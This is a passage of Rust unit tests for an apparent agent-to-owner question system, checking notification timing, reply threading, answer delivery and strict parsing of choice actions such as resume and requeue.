3844 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
3845 "still on the screen a minute later; no need to page again"
3846 );
3847 assert!(
3848 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
3849 "exactly the window: `>` means this side stays quiet"
3850 );
3851 assert!(
3852 fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
3853 "past the window: they may have walked away"
3854 );
3855 }
3856
3857 #[test]
3858 fn a_round_trip_of_turns_still_counts_as_one_open_question() {
3859 let (_dir, s) = store();
3860 let mut q = choice_question();
3861 s.put(&mut q).unwrap();
3862 q.say("why not Postgres?").unwrap();
3863 s.put(&mut q).unwrap();
3864 q.reply("no server to run", vec!["SQLite".to_owned()])
3865 .unwrap();
3866 s.put(&mut q).unwrap();
3867
3868 assert_eq!(
3869 s.count_open(),
3870 1,
3871 "one question that talked twice is still one open question"
3872 );
3873 assert_eq!(s.open_for(&q.run).len(), 1);
3874 }
3875
3876 #[tokio::test]
3877 async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
3878 let (dir, s) = store();
3879 let mut q = choice_question();
3880 let id = q.id.clone();
3881 let writer = Questions::at(dir.path().join("questions"));
3882 let handle = tokio::spawn(async move {
3883 tokio::time::sleep(Duration::from_millis(30)).await;
3884 let mut fresh = writer.get(&id).expect("the question was filed first");
3885 fresh.say("why not Postgres?").unwrap();
3886 writer.put(&mut fresh).unwrap();
3887 });
3888
3889 let got = wait_for_owner(
3890 &mut q,
3891 &s,
3892 &quiet(),
3893 Duration::from_secs(5),
3894 Duration::from_millis(10),
3895 )
3896 .await
3897 .unwrap();
3898
3899 handle.await.unwrap();
3900 assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
3901 assert_eq!(
3902 q.status,
3903 QuestionStatus::Open,
3904 "talking back is not a decision; the question stays open"
3905 );
3906 assert!(q.answer.is_none());
3907 }
3908
3909 #[test]
3910 fn a_say_that_lands_before_the_agents_reply_stays_unread() {
3911 let mut q = choice_question();
3912 q.say("A").unwrap();
3913 q.delivered_turns = q.thread.len();
3914 q.say("B").unwrap();
3915 q.reply("about A", vec![]).unwrap();
3916 assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
3917 q.delivered_turns = q.thread.len();
3918 assert_eq!(q.unread_from_owner(), None);
3919 }
3920
3921 #[test]
3922 fn a_say_before_the_answer_is_handed_over_ahead_of_it() {
3923 let (_d, s) = store();
3924 let mut q = choice_question();
3925 s.put(&mut q).unwrap();
3926 q.say("first").unwrap();
3927 q.say("second").unwrap();
3928 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3929 s.put(&mut q).unwrap();
3930 assert_eq!(q.unread_from_owner(), None, "closed: the guard stays");
3931 let mut out = Vec::new();
3932 deliver_answer(&s, &mut q, "SQLite", &mut out).unwrap();
3933 let shown = String::from_utf8(out).unwrap();
3934 let (a, b, c) = (
3935 shown.find("first").unwrap(),
3936 shown.find("second").unwrap(),
3937 shown.find("SQLite").unwrap(),
3938 );
3939 assert!(a < b && b < c, "{shown}");
3940 assert_eq!(q.delivered_turns, q.thread.len());
3941 assert!(q.answer_delivered);
3942 }
3943
3944 #[test]
3945 fn an_answer_alone_is_unchanged_and_delivered_says_are_not_repeated() {
3946 let mut q = choice_question();
3947 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3948 assert_eq!(answer_for_agent(&q, "SQLite"), "SQLite");
3949 let mut q = choice_question();
3950 q.say("old").unwrap();
3951 q.delivered_turns = q.thread.len();
3952 q.say("new").unwrap();
3953 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3954 let shown = answer_for_agent(&q, "SQLite");
3955 assert!(shown.contains("new") && !shown.contains("old"), "{shown}");
3956 }
3957
3958 #[test]
3959 fn recovery_aliases_require_a_unique_offered_structured_effect() {
3960 let mut q = choice_question();
3961 q.choices = vec!["daemon: 再開A".into(), "daemon: 再開B".into()];
3962 for (label, run) in [("daemon: 再開A", "run-a"), ("daemon: 再開B", "run-b")] {
3963 q.actions
3964 .insert(label.into(), ChoiceAction::Resume { run: run.into() });
3965 }
3966 assert!(
3967 q.resolve_reply("再開")
3968 .unwrap_err()
3969 .to_string()
3970 .contains("ambiguous")
3971 );
3972 assert_eq!(q.resolve_reply("resume:run-a").unwrap(), "daemon: 再開A");
3973 q.choices.remove(1);
3974 assert_eq!(q.resolve_reply("実行再開").unwrap(), "daemon: 再開A");
3975 assert!(q.resolve_reply("resume run-b").is_err());
3976 assert!(q.resolve_reply("保留").is_err());
3977 assert!(!ChoiceAction::Requeue.matches_alias("再キュー"));
3978 assert!(!ChoiceAction::Done.matches_alias("完了"));
3979 }
3980
3981 #[test]
3982 fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
3983 let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
3984 let ok = parse_actions(
3985 &[
3986 "resume で続行する=resume".to_owned(),
3987 "wait=done".to_owned(),
3988 ],
3989 &choices,
3990 "run-1",
3991 )
3992 .unwrap();
3993 assert_eq!(
3994 ok["resume で続行する"],
3995 ChoiceAction::Resume {
3996 run: "run-1".into()
3997 }
3998 );
3999 assert_eq!(ok["wait"], ChoiceAction::Done);
4000
4001 let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
4002 assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
4003 assert_eq!(
4004 ChoiceAction::parse("x=requeue", "").unwrap().1,
4005 ChoiceAction::Requeue
4006 );
4007
4008 assert_eq!(
4009 ChoiceAction::parse("x=hold", "").unwrap().1,
4010 ChoiceAction::Hold
4011 );
4012
4013 for bad in [
4014 "no-equals",
4015 "=done",
4016 "x=resume",
4017 "x=resume:",
4018 "x=explode",
4019 "x=done:1",
4020 ] {
4021 assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
4022 }
4023 assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
4024 assert!(
4025 parse_actions(
4026 &["wait=done".to_owned(), "wait=requeue".to_owned()],
4027 &choices,
4028 ""
4029 )
4030 .is_err()
4031 );
4032 }
4033
4034 #[test]
4035 fn only_a_chosen_label_with_an_action_is_actionable() {
4036 let mut q = choice_question();
4037 q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
4038 q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
4039 assert!(q.chosen_action().is_none(), "unanswered");
4040 q.answer(Answer::Choice("resume".to_owned())).unwrap();
4041 assert!(
4042 q.chosen_action().is_none(),
4043 "a label that merely reads like an action does nothing"
4044 );
4045
4046 let mut q2 = choice_question();
4047 q2.choices = vec!["SQLite".to_owned()];
4048 q2.actions
4049 .insert("SQLite".to_owned(), ChoiceAction::Requeue);
4050 q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4051 assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
4052 }
4053
4054 #[test]
4055 fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
4056 let mut q = choice_question();
4057 q.choices = vec!["A".to_owned(), "B".to_owned()];
4058 q.actions.insert("A".to_owned(), ChoiceAction::Done);
4059 q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
4060 q.reply("narrowing", vec!["B".to_owned()]).unwrap();
4061 assert_eq!(q.actions.len(), 1);
4062 assert!(q.actions.contains_key("B"));
4063
4064 let mut v = serde_json::to_value(&q).unwrap();
4065 v.as_object_mut().unwrap().remove("actions");
4066 let old: Question = serde_json::from_value(v).unwrap();
4067 assert!(old.actions.is_empty());
4068 }
4069}